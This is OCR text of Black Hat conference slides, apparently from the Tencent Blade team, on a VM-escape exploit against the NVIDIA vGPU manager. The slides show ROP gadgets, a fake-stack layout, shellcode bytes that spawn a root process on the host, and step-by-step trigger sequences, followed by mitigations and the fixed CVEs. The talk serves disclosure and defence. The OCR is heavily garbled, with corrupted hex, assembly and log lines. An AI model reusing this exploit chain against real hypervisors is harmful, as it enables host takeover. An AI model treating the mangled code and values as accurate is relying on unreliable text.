ETT (= MrhmCant ] 401 111401 __(=nOlTT___fu=giqp

if Junalgned int v55 ff [rsp+BEBBh] [rbp-3EEOh]
goto REPORT ERROR NO MAY HAVE MALLOCS;

21[156] = w55;

return err;

® Puts body[6] to rsp+0xB888, then exits (return error)

® Only necessary operations (to put a ROP gadget) are performed, neat & perfect!

#BHUSA @BlackHatEvents
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Fake Stack

, ] and rdi, [rbx] ; addr
® We'll write ROP gadget 1 on stack oot o Magze Overflown
® 4889FAC3 MOV RSP, RSl; RET; ‘_/;g"’?_/ﬁ;r e S area
® Stack pivot & Jump to the 2nd ROP gadget e tew Gom ?I:I_lagﬁ

XOr edx, edx ; prot

® Set mmap.got to the address of ROP 1 call  _mmap

® RSl is the “len” argument of mmap (addr of mmap already controlled by us)
® |en is also obtained from p(QWORD)

® Set len to addr of our fake stack (overflown area after p)

d
® “Holes” on “stack” L
= ++;
® Because 0xC6370101 copies data discontinuously = & /B8 * il:
= gbuf[9 * i];
[3] = [2]:
[4] = [3]:
[5] = [4];

#BHUSA @BlackHatEvents
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® Holes everywhere
® Holes are consisted by 4 bytes of zeros

® FEitheritisin the data, oritis in our fake stack

® Treatitas numberO

® Using part of it as higher 4 bytes of address
(The nvidia-vgpu-mgr loads at 0x400000)

® Find a proper gadget to POP them into registers
® Orjust RET X to skip them

(gaD) X/Z506X UX/TUCZBUU4DOUL

0x7f0c28004b60:
0x7f0c28004b70:
0x7f0c28004b80:
0x7f0c28004bS0:
0x7f0c28004ba0:

0x7f0c28004bb0:
0x7f0c28004bc0:
0x7f0c28004bd0:
0x7f0c28004be0:
0x7f0c28004bf0:

0x7f0c28004¢00:
0x7f0c28004c10:
0x7f0c28004¢20:
0x7f0c28004¢30:

0x00000000
0x00000000
0x00000000
0x00000000
0x00000001

0x00000000
0x6e69622f
0x632d0000

0x00000000
0x64a74000
0x00000000
0x00000000
0x43434343

0x00000001
0x6c61672f

0x00000000

0x00000018
0x00007f2f

Ox00000000
0x00000002
0x43434343

0x00000000

0x616C7563

0x6e69622f

0x44000068 0x3d505349 0x304c4159

0x77777777

0x99999999

0x00000000

v-- START ADDR OF PHARSE 3 =

0x8888bf48

0x88778877

0x89488877

0x90887766 0x4d666688 0x04ebc031

0x2222b948
0x22222211

0x44443333
0xb822220d

0x31485555
0x004032e0

#BHUSA

Image Source :

0x00000000
0x00001000
0x00000000
0x0000ffff
0x0061f588
v-DATA OF PHARSE 3
0x7273752f
0x00726f74
0x6361622f
0x003a302e
0x00000000

Ox66ba48fe
0x00000000
0x11b945¢0
0x909006eb

@BlackHatEvents
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pil=\'4 dvord pirlre= + 8 + 0=48 - 16]. ‘zsu’
. . pil=l4 dword ptrlrex + 8 + Oxdc — 16]. 'nibs"
® Patch th t nvidia.ko to send th D dmmimoarmiong b
u . b T dword ptrlras + 8 + 0x5d4 - 16]. ‘'aluc’ )
oy dword ptrlras + 8 + 0=x58 - 16]. '“Orot' »v nzrsbin‘galoulator
nay dword ptrlraz + 8 + Ox5c - 16]. 'c=0' 7 —C
T~ now dvord phrirzaz + 8 + 0x60 — 16]. ‘nibs
malicious VRPC message S SmEERLoThhCn me
now dword ptrlzra=z + & + 0=x68 - 16]. '~0h' ~~ ~bin-bash
nay dword pirlzaz + § + 0=6C - 16]. 'PSID’
nay %m;él mé;%rﬂ + g + gxgg - ig%, 'EYE&L'
pil=) dword pirlrax + + 0= -
nov dword pirlraz + 8 + 0=78 — 16]. '~0' - DISPLAY=:0.0 Placeholders
() 1 T now dvord phrlzaz + & + Oxfc — 16]. 0=7P7777777
alntul because we need to write a lot ney  dyord pirlrex + 8 + 0x80 - 1610 0x93333333 addr of "DISPLAT=10.0" <==== 0K
nay dword pirlzaxz + 8§ + 0=84 - 16]. O
pil=l} dword ptrlrax + 8 + 0=x88 - 16], O #/["DISPLAY=:0.0", 0]
now dword ptrlzraz + 8 + O0x8c — 16]. O=888848bf <+HOVARS EDI, ADDR OF "~bin~<bash" 48 bi [89888 83778877 BE77]
+ ey dvord ptrlraz + 8 + 0x90 — 16], OxB8778877
O Py nay dword prtrlzraz + 8 + 0294 — 16], 0=x894883877 SoMOV RSIL ELDI 43 89 FE
) now dword ptrlraz + 8 + 0298 — 16]. O=664BLIFE s<MOVABS RDI, ADDE OF "-C" 48 bf [BERE BRBBE 7777 BAEA]
noy dword ptrlraz + 8 + 0=9% — 16]. O0=88777766
now dvord ptrlraz + 8 + Oxal — 16]. O=48FEGE8E ~/HOVAES RCE. ADDR OF "~usy-bincgaloulator’ 48 bf [2222 3333 4444 !
noy dword ptrlreas + 8 + O=ad — 16]. 0=x332222bt S
° now dword phrirax + 8 + O=aB — 16]. O=E5444433 e
. RAX IS the add r Of VRPC buffer noy dyord phrlrax + 8 + Oxac — 16]. O0=CO314DE5 - XOR RE. R&  4d 31 ci
oy dyord phrlrax + 8 + Oxb0 — 16]. Ox1111bf48  ~~MOVABS R9, ADDR OF ["DISPLAY'=:0.0, 0] 48 bf [1111 2222 2222 1111
now dword phirirax + 8 + Oxbd — 16], 0m22222222
pil=)) dvord prrlraz + 8 + 0=b8 - 16]. 0=x31c01111 <748 31 <0 EOn TaE.raE
noy dvord phrlraz + & + Ozbc — 16]. O=e032bids ~/B8 =0 32 40 00 nov eax. O=d032el
b T\ dword phirirax + 8 + O=c0 — 167, O=fid04000 soff dD call TaE

//’////////////;///;///////////////////////////////////////////////////////////////////////

L
® And we also need to calculating lots of [0 shises (Jrve G ecvot i cormains ok 5 crc
KIS LS LTSS LSS LTSS LSS LSS LSS LSS

now dword ptrlraz + 8 + O=xcd — 16]. 0=x407d437 ~/ptr to ROPS
pit=\'s dword ptrlraz + 8 + Oxcd — 16]. 0x000000
ssthe stack pivot =starts from here:
a resses pumid dword prtrirax + 8 + Oxcc — 16]. Ox416dfd <1 [ ADDE OF ROP2{0x4ledfd) ]
o dvord ptrlrex + 8 + 0=d0 — 16]. O=000000
now dword prtyirax + 8 + O0=dd — 167, 0=x77777777
T dword ptrirax + 8 + 0=d8 — 16], 0=x7?7777777 //ptr-0=x78 to ptr to ROPS above. ¢==== (K
L dword ptrirax + 8 + Oxde — 16]. O=xd0cfébc o2 [ ADDE OF ROP3(0=40CF&C) ]
oy dvord ptrlraz + 8 + O=e0 — 16], 0=000000
. no dword ptrlzex + 8 + Oxed — 16], 0=x100 73 [ "n" how many bytes to copy ]
S€ a program to nelp us CalCuliate A Svend DEEETRE 101 Dues - 16]0 owdooono
b T dword ptrizraz + 8 + Oxec — 16]. 0=xdl26bc <3 [ ADDE OF ROP4(0x4128bc) ]
now dword ptrlra=z + 8 + 0=xf0 — 16], 0=x000000
: b T dword ptrlra=z + 8 + 0=xfd — 16], O0=x77777777
a nd erte those Va | ues b T dword ptrlra=z + 8 + 0=xf8 — 16], 0=xF7777777 A75 [ "syg" (RSI) ] —addr of——3[ 3RD PHARSE OF THE CODE~DATA ON STACI
b T dword ptrlra=z + 8 + Oxfc — 16]. 0=x4038ab <5 [ ADDE OF ROPB(0x4038ab) ]
0o dword ptrlra=z + 8 + 0x100- 16], 0=x000000
pitmld dword ptrlra=z + 8 + 0=x104- 16], O0=x77777777
noy dword prtrlrax + 8 + 0=x108- 16], O0=x77777777 <7 B[ "dest" (=taclk addres=, or any address that ha= yywx priv. )]
b T\ dword ptrlrax + 8 + 0x10c— 16], 0=x40CFEC s#7 [ ADDR OF ROP7{0=x40CFeC) ]
0oy dword ptrlrax + 8 + 0x110- 16], 0=x000000
0oy dword ptrlrax + 8 + 0x114- 16]. 0=x403060 AT [ "mencpy " (EBX, 0=x403060% ]
0oy dword ptrlrax + 8 + 0x118- 16], 0=x000000
b T\ dword ptrlrazx + 8 + 0xllc— 16], 0=xdll74e ss7 [ ADDR OF ROPE (0=41174e=) ]
0oy dword ptrlrax + 8 + 0x120- 16], 0=x000000
pit=s dword pirlrss + 8§ + 0=124- 16 + 0x98], 0=77777777 -8 [ "dest" (stack addy) ] . after 0x98 bytes hole
0oy dword ptxrlrazx + 9 + 0=128- 16 + 0=x98]. 0=V7777777

#BHUSA @BlackHatEvents
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Method 2

MEthOd 1 ®Send msg 0x02 Otherwise
Hypervisor doesn’t exit when rebooting guest ®/ will call following steps as “LOAD”
® Send msg 0x02 to create a fake hDevice handle(By ®rmmod the nvidia_drm nvidia_modeset nvidia in the guest
replacing guest nvidia.ko with patched one) ®kill 9 the nvidia-gridd process

®Replace .ko file with patched one

® Reboot guest to send the VRPC message ®insmod the overwritten nvidia.ko
®sudo service start nvidia-gridd to send the VRPC message

®rmmod nvidia

® Send msg 0x35 to leak an address and bypass ASLR

® Reboot guest ®LOAD

® Send msg 0x3C to put our gadget on stack ®Send msg 0x35

® Reboot guest ®LOAD

® Send msg 0x20 to create a fake hClient handle ®Send msg 0x3C
®LOAD

® Send msg Ox1A to trigger the heap data overflow, in
a row with 0x20 ®Send 0x20, Ox1A in a row

#BHUSA @BlackHatEvents
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wenxiang@linux: =

File Edit Wiew Search Terminal Help

[wenxiang®@linux =]1% ps -ef | grep galculator
wenxiang 261243 261889 & 12:39 pts/1 BB:80:80 grep --color=auto

[wenxiang@linux -]% ps -ef | grep galculator
root 261291 1 & 12:39 ©? BE: 8888 Sfusr/sbin/
wenxiang 261473 261689 8 12:40 pts/1 BE:80:88 grep --color=auto

[wenxiang@linux ~1% [

Pause recarding
» | Enable recording hotkey Enable sound notifications

Hotkey: | Ctrl + Shift + Alt 4+ Super+ |R

Information Preview
Total ttme:; 0:00:41
FPS in: 19.99
FPS out: 20,00

Preview frame rate: | 10

Size in: 1920x1 200

Size out:  1920x1200

File name: simpl..3.mp4
File size: 6543 KiB
Bit rate: 2744 khit/s

Start preview

Reached Largel Sygstem Tine Synchreonized .
Reached targd."Host and Network Nane Looanhs.
Statening ow Load<3ave REF Kill Switch Status saevsrfkill Ha...
Started Load fApphArmor profiles managed internally by soapd .
Reached target System Initialization.
Starting Socket activation for snappy daemon.
0 1 Started Message of the Day.

Ll iztening om fAictivation socket for spice guest agent daemon.
=1 CUPS Scheduler.
=d Daily man-db regeneration.
1ing on ACPID Lizten Socket.
1ing on CUPS Scheduler.
*d Periodic extd4 Online Hetadata Check for fAill Filesyste
»d ACFI Events Check.
*d target Paths.
1ing on D=Bus Sy=sten Heszage Bus Socket.
»d Trigyer anacron every hour.
d Daily rotation of log files.
d Dizcard unused hlocks once a week.
d Daily apt download activities.
d Dally apt upgrade and clean activities.
d Dakly Cleamip of Temporary Directories.
i target Tiners.
ving on Avali ADHS-DHS-5D Stack Activation Socket.
ving on WOID daeson activation soctivation Socket.
ving on WD daenon activation socket.
ving on socket activation for swappy daegmon.
T | ‘l.nr'ulz‘l. sockets,
i target Basic System.
ing WUIDIA Grid Dasnon. ..
=l Regular background program processing dasnon.
eeing LSE: Hecord successful boot for GRUE. .
[ 0K 1 Started Run anacron jobs.

Starting 3ysten Logging Seruvice. ..

Starting Thermal Daemon Seruvice. ..

Starting Hodem Hanager. ..

Stoarting Remowve Stale Online extd Hetadata Check Snapshotz. ..
[ DE 1 Started ACFI event dacnon.

Starting LEE: awtomatic crazh report gencration. ..
[ 0K 1 Started D-Bus Systen Heszage Bus.
Starting UPA supplicawt. ..
Starting GRUB failed boot detection. ..

S B Rt e s

__,__,_,_,_,

el b ol ol
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® Most important: Update your software regularly

® The nvidia-vgpu-mgr is running in root
® But you can use your firewall to restrict what it can do

® Use Host Intrusion Prevention System (HIPS) to monitor host

® Administrator should monitor strange crashes on host machine

® When there’s a 0-day, some hotfix patches(work-arounds) could be applied

® For example, NOP some vulnerable functions that are not frequently used

#BHUSA @BlackHatEvents
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® Reported Feb 2021, Fixed April 2021
® (CVE-2021-1082 - OOB Issue In Nvidia vGPU Manager
® (CVE-2021-1084 - OOB Issue In Nvidia vGPU Manager and Guest Kernel

® (CVE-2021-1087 - Information Leak In Nvidia vGPU Manager

® Another vulnerability are scheduled to be fixed in the end of July
® This talk is recorded earlier
® Details of it are not mentioned in this talk due to responsible vulnerability disclosure

® |t's anindependent vulnerability found by fuzzing, the exploit chain of this talk didn’t use it

® Please refer to : https://nvidia.custhelp.com/app/answers/detail/a id/5172 to update your software

#BHUSA @BlackHatEvents
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Website: https://blade.tencent.com
Email: blade@tencent.com
Github: https://github.com/tencentbladeteam

#BHUSA @BlackHatEvents
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